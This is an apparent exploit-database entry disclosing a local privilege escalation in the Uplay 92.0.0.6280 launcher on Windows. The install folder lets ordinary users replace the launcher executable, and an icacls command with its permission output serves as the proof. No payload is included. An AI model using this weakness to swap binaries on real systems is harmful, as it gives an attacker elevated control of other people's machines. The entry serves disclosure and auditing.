Uplay 92.0.0.6280 local privilege escalation Vulnerability / Exploit
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Exploits / Vulnerability Discovered : 2019-10-14 |
Type : local |
Platform : windows
This exploit / vulnerability Uplay 92.0.0.6280 local privilege escalation is for educational purposes only and if it is used you will do on your own risk!
# Vulnerability Description: "C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher" has in secure permission
# that allows all BUILTIN-USER has full permission. An attacker replace the
# vulnerability execute file with malicious file.
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Proof of Concept
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C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher>icacls "C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher"
C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher BUILTIN\Users:(F)
BUILTIN\Users:(OI)(CI)(IO)(F)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)